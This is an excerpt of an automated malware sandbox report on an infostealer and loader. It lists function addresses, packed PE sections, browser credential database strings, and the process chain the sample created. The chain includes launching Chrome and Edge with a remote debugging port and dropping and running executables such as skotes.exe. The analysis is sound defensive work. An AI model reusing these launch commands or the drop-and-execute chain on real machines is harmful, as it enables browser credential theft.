Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D960	0_2_6C66D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB970	0_2_6C6AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB170	0_2_6C6CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A940	0_2_6C67A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C9A0	0_2_6C65C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D9B0	0_2_6C68D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695190	0_2_6C695190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2990	0_2_6C6B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699A60	0_2_6C699A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671AF0	0_2_6C671AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69E2F0	0_2_6C69E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698AC0	0_2_6C698AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6522A0	0_2_6C6522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684AA0	0_2_6C684AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66CAB0	0_2_6C66CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2AB0	0_2_6C6C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CBA90	0_2_6C6CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66C370	0_2_6C66C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655340	0_2_6C655340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D320	0_2_6C69D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C53C8	0_2_6C6C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F380	0_2_6C65F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70AC60	0_2_6C70AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DAC30	0_2_6C7DAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C6C00	0_2_6C7C6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75ECD0	0_2_6C75ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FECC0	0_2_6C6FECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CED70	0_2_6C7CED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C88CDC0	0_2_6C88CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C888D20	0_2_6C888D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C704DB0	0_2_6C704DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C82AD50	0_2_6C82AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C796D90	0_2_6C796D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79EE70	0_2_6C79EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E0E20	0_2_6C7E0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70AEC0	0_2_6C70AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A0EC0	0_2_6C7A0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C786E90	0_2_6C786E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C2F70	0_2_6C7C2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C848FB0	0_2_6C848FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76EF40	0_2_6C76EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C706F10	0_2_6C706F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DEFF0	0_2_6C7DEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C700FE0	0_2_6C700FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C840F20	0_2_6C840F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70EFB0	0_2_6C70EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D4840	0_2_6C7D4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C750820	0_2_6C750820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78A820	0_2_6C78A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8068E0	0_2_6C8068E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7EC8C0	0_2_6C7EC8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C738960	0_2_6C738960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C81C9E0	0_2_6C81C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C756900	0_2_6C756900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7349F0	0_2_6C7349F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C09B0	0_2_6C7C09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7909A0	0_2_6C7909A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BA9A0	0_2_6C7BA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77CA70	0_2_6C77CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B8A30	0_2_6C7B8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7AEA00	0_2_6C7AEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77EA80	0_2_6C77EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C806BE0	0_2_6C806BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7EEBD0	0_2_6C7EEBD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A0BA0	0_2_6C7A0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C82A480	0_2_6C82A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C718460	0_2_6C718460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78A430	0_2_6C78A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C764420	0_2_6C764420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7464D0	0_2_6C7464D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79A4D0	0_2_6C79A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A0570	0_2_6C7A0570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C762560	0_2_6C762560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C758540	0_2_6C758540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78E5F0	0_2_6C78E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CA5E0	0_2_6C7CA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C804540	0_2_6C804540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C848550	0_2_6C848550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F45B0	0_2_6C6F45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75C650	0_2_6C75C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75E6E0	0_2_6C75E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79E6E0	0_2_6C79E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7246D0	0_2_6C7246D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C780700	0_2_6C780700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72A7D0	0_2_6C72A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74E070	0_2_6C74E070
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Code function: 19_2_00DC78BB	19_2_00DC78BB
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Code function: 19_2_00DC7049	19_2_00DC7049
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Code function: 19_2_00DC8860	19_2_00DC8860
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Code function: 19_2_00DC31A8	19_2_00DC31A8
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Code function: 19_2_00D84B30	19_2_00D84B30
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Code function: 19_2_00D84DE0	19_2_00D84DE0
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Code function: 19_2_00DC2D10	19_2_00DC2D10
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Code function: 19_2_00DC779B	19_2_00DC779B
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Code function: 19_2_00DB7F36	19_2_00DB7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00BF78BB	21_2_00BF78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00BF8860	21_2_00BF8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00BF7049	21_2_00BF7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00BF31A8	21_2_00BF31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00BB4B30	21_2_00BB4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00BB4DE0	21_2_00BB4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00BF2D10	21_2_00BF2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00BF779B	21_2_00BF779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00BE7F36	21_2_00BE7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00BF78BB	22_2_00BF78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00BF8860	22_2_00BF8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00BF7049	22_2_00BF7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00BF31A8	22_2_00BF31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00BB4B30	22_2_00BB4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00BB4DE0	22_2_00BB4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00BF2D10	22_2_00BF2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00BF779B	22_2_00BF779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00BE7F36	22_2_00BE7F36

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C729B10 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C68CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C88D930 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6994D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C723620 appears 44 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C8809D0 appears 183 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C88DAE0 appears 44 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00BC80C0 appears 260 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00BCDF80 appears 36 times
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Code function: String function: 00D980C0 appears 130 times

Source: 3a4851ca05.exe.24.dr	Static PE information: Data appended to the last section found
Source: random[1].exe.24.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCm vs file.exe
Source: file.exe, 00000000.00000002.2556704331.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: sftduhzg ZLIB complexity 0.994830552413273
Source: random[1].exe.24.dr	Static PE information: Section: sftduhzg ZLIB complexity 0.9952292088394062
Source: 3a4851ca05.exe.24.dr	Static PE information: Section: sftduhzg ZLIB complexity 0.9952292088394062

Source: skotes.exe.19.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: DocumentsBAAFIJKKEH.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@73/300@24/25

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C6B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\8GVKW0VV.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9176:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\45cd33df-00d1-4558-a202-850e085510a0.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2546420585.000000001D891000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2556027179.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2546420585.000000001D891000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2556027179.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2546420585.000000001D891000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2556027179.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2546420585.000000001D891000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2556027179.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2546420585.000000001D891000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2556027179.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2546420585.000000001D891000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2556027179.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2546420585.000000001D891000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2556027179.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2342936574.000000001D78D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2264040648.000000001D799000.00000004.00000020.00020000.00000000.sdmp, AFBAFBKEGCFBGCBFIDAK.0.dr, KFIJJJEBGCFBGDHIDGCA.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2546420585.000000001D891000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2556027179.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2546420585.000000001D891000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2556027179.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

Virustotal: Detection: 38%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2212,i,6568424161687169964,14682761372451509383,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2564 --field-trial-handle=2268,i,3616982230694012629,6171515150596214737,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=2004,i,1050887210429599906,5484965300696754300,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6880 --field-trial-handle=2004,i,1050887210429599906,5484965300696754300,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6952 --field-trial-handle=2004,i,1050887210429599906,5484965300696754300,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAAFIJKKEH.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBAAFIJKKEH.exe "C:\Users\user\DocumentsBAAFIJKKEH.exe"
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7160 --field-trial-handle=2004,i,1050887210429599906,5484965300696754300,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAAFIJKKEH.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2212,i,6568424161687169964,14682761372451509383,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2564 --field-trial-handle=2268,i,3616982230694012629,6171515150596214737,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=2004,i,1050887210429599906,5484965300696754300,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
